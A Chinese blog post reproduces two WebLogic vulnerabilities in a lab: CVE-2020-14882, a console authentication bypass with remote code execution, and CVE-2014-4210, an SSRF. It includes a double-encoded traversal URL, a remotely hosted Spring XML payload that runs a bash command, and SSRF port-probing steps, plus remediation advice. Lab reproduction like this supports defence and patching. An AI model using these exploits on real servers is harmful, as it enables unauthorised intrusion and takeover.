首页 > 编程知识 正文

weblogic反序列化漏洞修复weblogic.xml,weblogic未授权访问漏洞

时间:2023-05-05 10:32:27 阅读:241285 作者:1739

Weblogic 漏洞复现 一、CVE-2020-14882 Weblogic 未授权绕过RCE1.1漏洞原理1.2漏洞风险等级1.3漏洞影响范围1.4实验环境1.4.1靶机:1.4.2攻击机: 1.5漏洞复现1.6漏洞修复方案 二、CVE-2014-4210 Weblogic SSRF2.1漏洞原理2.2漏洞风险等级2.3漏洞影响范围2.4实验环境2.4.1靶机:2.4.2攻击机: 2.5漏洞复现2.6漏洞修复方案


一、CVE-2020-14882 Weblogic 未授权绕过RCE 1.1漏洞原理

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,最终远程执行代码接管 WebLogic 服务器。

1.2漏洞风险等级

【高危】

1.3漏洞影响范围

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

1.4实验环境 1.4.1靶机:

4.1.1、系统:ubuntu
4.1.2、Weblogic版本:Weblogic 12.2.1.3
4.1.3、IP:192.168.22.136
4.1.4、环境配置:
新建docker-compose.yml文件,添加如下命令【一定要注意格式】:

version: '2'services: weblogic: image: vulhub/weblogic:12.2.1.3-2018 ports: - "7001:7001"

访问:http://127.0.0.1:7001/console/login/LoginForm.jsp显示如下界面,证明搭建成功

1.4.2攻击机:

系统:win10
IP:192.168.22.xx

1.5漏洞复现

1.5.1、访问console界面成功后,通过以下url发现可以直接绕过验证并登录后台
http://靶机ip:7001/console/css/%252e%252e%252fconsole.portal

‘%252E%252E%252F ’为二次 URL 编码过后的‘ …/ ’,通过这个就可以实现穿越路径未授权访问相关管理后台。
1.5.2、与正常登录页面对比发现缺少部署等功能,由于权限不足无法安装应用,所以也无法通过后台部署war包等方式直接获取权限。下图为正常登录页面
1.5.3、可以利用com.tangosol.coherence.mvel2.sh.ShellSession类或com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类。因为第二种是更通杀的一种方法,对weblogic所有版本均有效,所以接下来会用第二种类进行漏洞利用。
首先,我们构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml。
rce.xml代码如下:

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/test_weblogic]]></value> </list> </constructor-arg> </bean></beans>

1.5.4、利用burpsuite抓包,然后执行一个get请求,使weblogic服务器可以访问到恶意xml
1.5.5、验证恶意XML是否执行

1.6漏洞修复方案

1.6.1、临时处置建议
建议临时关闭后台/console/console.portal的对外访问。
1.6.2、处置建议
Oracle 官方已发布了最新针对该漏洞的补丁,受影响用户可及时下载补丁程序并安装更新。

二、CVE-2014-4210 Weblogic SSRF 2.1漏洞原理

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,根据获取的信息进而攻击内网中redis、fastcgi等脆弱组件。
Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。

2.2漏洞风险等级

【高危】

2.3漏洞影响范围

WebLogic 10.0.2.0.0
WebLogic 10.3.6.0.0

2.4实验环境 2.4.1靶机:

4.1.1、系统:ubuntu
4.1.2、Weblogic版本:Weblogic 10.3.6.0
4.1.3、IP:192.168.40.134

2.4.2攻击机:

系统:win10
IP:192.168.40.1

2.5漏洞复现

2.5.1、访问 http://your-ip:7001/uddiexplorer/ 无需登录即可查看uddiexplorer应用。
2.5.2、ssrf漏洞测试
访问漏洞所在页面:http://yourip:7001/uddiexplorer/SearchPublicRegistries.jsp
随意填写,致使发送post数据包。发现有报错,并且请求包中operator对应的是链接,可以想到访问内网地址
将请求包中operator的值改为127.0.0.1:7002,返回报错信息:could not connect over HTTP to server
将请求包中operator的值改为127.0.0.1:7001,返回报错信息:status code(如下图)。一般会返回状态码,如果访问的非http协议,则会返回:did not have a valid SOAP content-type
正常我们是无法访问内网的,但是通过页面返回错误的不同,我们可以探测内网端口的开放状态,进而知道内网开启的服务,同时加以利用

2.5.3、访问漏
通过ssrf探测发现,内网中的redis服务器存活

2.6漏洞修复方案

2.6.1、处置建议
将SearchPublicRegistries.jsp直接删除,也可以采用改后辍的方式,修复步骤如下:
$将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份
$将weblogic安装目录下的server/lib/uddiexplorer.war下载
$用winrar等工具打开uddiexplorer.war,将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
$保存后上传回服务端替换原先的uddiexplorer.war
$对于多台主机组成的集群,针对每台主机都要做这样的操作
$由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用–停server–停控制台–启控制台–启server–启应用)

参考链接:https://www.cnblogs.com/bmjoker/p/9759761.html

注: docker对应的IP查询:
先查看容器id然后查看该docker对应的IP
docker inspect 53bf9ecbe6b5 | grep IPAddres

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。